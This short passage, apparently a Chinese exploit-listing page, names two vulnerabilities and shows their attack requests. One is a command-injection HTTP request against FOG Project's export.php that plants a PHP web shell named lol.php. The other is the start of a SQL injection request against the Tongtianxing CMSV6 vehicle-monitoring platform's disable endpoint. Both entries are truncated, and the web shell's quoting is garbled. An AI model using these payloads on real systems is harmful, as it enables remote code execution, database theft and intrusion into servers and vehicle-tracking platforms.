秃兔
fogproject系统接口export.php存在远程命令执行漏洞
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET[‘”‘cmd'”‘]);+?>’+>+lol.php)&type=pdf HTTP/1.1Host: 192.168.15.5Content-Length: 21Use...
通天星 CMSV6 车载定位监控平台 disable SQL注入漏洞
GET /edu security officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+268
